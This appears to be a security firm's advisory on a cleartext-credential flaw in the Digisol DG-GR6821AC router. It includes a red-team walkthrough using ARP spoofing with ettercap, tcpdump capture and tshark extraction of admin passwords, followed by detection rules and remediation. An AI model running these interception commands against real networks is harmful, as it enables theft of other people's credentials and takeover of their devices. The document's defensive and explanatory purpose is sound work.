CVE-2025-53756

Executive Summary

CVE-2025-53756 exposes a critical security flaw in the Digisol DG-GR6821AC router. The vulnerability stems from the device transmitting administrative credentials in cleartext over HTTP within its web management interface. An attacker with network access (e.g., on the same LAN, or via a compromised upstream node) can passively intercept this traffic using standard packet capture tools. Successful exploitation yields the router's administrator username and password, granting full control over the device. This can lead to DNS hijacking, traffic redirection, VPN credential theft, or use of the router as a pivot point for further network attacks. The vulnerability is trivial to exploit and requires no authentication prior to interception.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; cleartext transmission is constant.
• Privileges Required (PR): None (N) – No prior authentication needed.
• User Interaction (UI): None (N) – No user action required for interception.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Credentials are fully exposed.
• Integrity (I): None (N) – No direct integrity impact from the sniffing itself.
• Availability (A): None (N) – No availability impact.

CVSS Score: 7.5 (High) – The ease of exploitation and high confidentiality impact drive this score. The lack of encryption makes this a trivial target for any attacker with network visibility.

Deep Dive & Mechanics

The Digisol DG-GR6821AC router's web management interface (typically on TCP port 80 or 8080) uses plain HTTP for all communication. When an administrator logs in, the browser sends a POST request containing the username and password in cleartext within the request body. This data is not encrypted at any layer (no HTTPS, no TLS). An attacker positioned on the same network segment (e.g., via ARP spoofing, rogue DHCP, or physical access) can capture this traffic using tools like Wireshark, tcpdump, or Ettercap.

The vulnerability is not a buffer overflow or injection; it is a fundamental design flaw in the protocol implementation. The router does not support HTTPS, and there is no option to enable it. The credentials are transmitted in the format:

POST /login.cgi HTTP/1.1
Host: 192.168.1.1
...
username=admin&password=secret123

Once captured, the attacker can replay these credentials to log into the router's web interface and change settings, including DNS servers, firewall rules, and port forwarding.

Vulnerable vs. Patched Code

Vulnerable Code (Digisol DG-GR6821AC firmware): The router's web server (likely a minimal HTTP daemon) does not implement TLS. The login handler expects plaintext credentials over HTTP. There is no encryption layer.

// Pseudocode of vulnerable login handler
void handle_login(char *post_data) {
    char username[64], password[64];
    // Directly parses cleartext POST data
    parse_credentials(post_data, username, password);
    if (authenticate(username, password)) {
        // Grant access
    }
}

Patched Code (Hypothetical): A patched version would enforce HTTPS and redirect all HTTP traffic to HTTPS. The login handler would only accept connections over TLS.

// Pseudocode of patched login handler
void handle_login(SSL *ssl, char *post_data) {
    if (!ssl) {
        send_error("HTTPS required");
        return;
    }
    char username[64], password[64];
    parse_credentials(post_data, username, password);
    if (authenticate(username, password)) {
        // Grant access
    }
}

No official patch exists. The device is likely end-of-life. Users must replace the hardware or implement network-level encryption (e.g., VPN to management interface).

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: Digisol DG-GR6821AC router (default IP 192.168.1.1)
• Attacker: Kali Linux machine on same LAN
• Tools: tcpdump, Wireshark, Ettercap

Step-by-Step Exploitation:

1. Enable IP forwarding and ARP spoofing to intercept traffic between the admin and router:

   echo 1 > /proc/sys/net/ipv4/ip_forward
   ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
   

2. Capture HTTP traffic on the interface:

   tcpdump -i eth0 -w capture.pcap port 80
   

3. Wait for admin login or trigger a login event.

4. Extract credentials from the pcap:

   tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.file_data
   

5. Use credentials to log into the router's web interface and modify settings.

Blue Team (Defender)

Detection:

• Monitor for ARP spoofing attacks using tools like Arpwatch or Snort.
• Look for multiple failed login attempts (though this attack is passive).
• Detect cleartext HTTP traffic to the router's IP on port 80.

Prevention:

• Isolate the router's management interface on a separate VLAN.
• Use a VPN to access the management interface.
• Replace the router with a model that supports HTTPS.

Indicators of Compromise (IOCs)

• Network Traffic:
  • HTTP POST requests to /login.cgi on the router's IP (e.g., 192.168.1.1:80).
  • Cleartext strings containing username= and password= in HTTP body.
• Logs:
  • Router logs showing successful logins from unexpected IPs (if logging is enabled).
• System Changes:
  • Modified DNS settings (e.g., pointing to attacker-controlled DNS).
  • New port forwarding rules.
  • Changed admin password.

Detection Engineering

YARA Rule

rule CVE_2025_53756_Credential_Sniffing {
    meta:
        description = "Detects cleartext credentials in HTTP POST to Digisol router login"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53756"
    strings:
        $login_path = "/login.cgi"
        $username_field = "username="
        $password_field = "password="
    condition:
        all of them
}

Sigma Rule

title: Cleartext Credentials in HTTP POST to Digisol Router
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests containing cleartext credentials to Digisol DG-GR6821AC login endpoint.
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        http.method: POST
        http.url: "/login.cgi"
        http.request_body|contains: "username="
        http.request_body|contains: "password="
    condition: selection
falsepositives:
    - Legitimate admin login (but still a vulnerability)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-53756 Digisol Router Cleartext Credentials"; flow:to_server; content:"POST"; http_method; content:"/login.cgi"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the device – The DG-GR6821AC is end-of-life and will not receive a patch. Purchase a modern router that supports HTTPS for management.
2. Network segmentation – Place the router on a dedicated management VLAN accessible only via VPN.
3. Disable remote management – If not needed, turn off WAN-side access to the web interface.
4. Use a reverse proxy – Place a TLS-terminating reverse proxy (e.g., Nginx) in front of the router's web interface.

Long-term:

• Implement a policy requiring all network devices to support encrypted management protocols (HTTPS, SSH).
• Regularly audit network devices for cleartext protocols.

Valters IT
Securing Digital Frontiers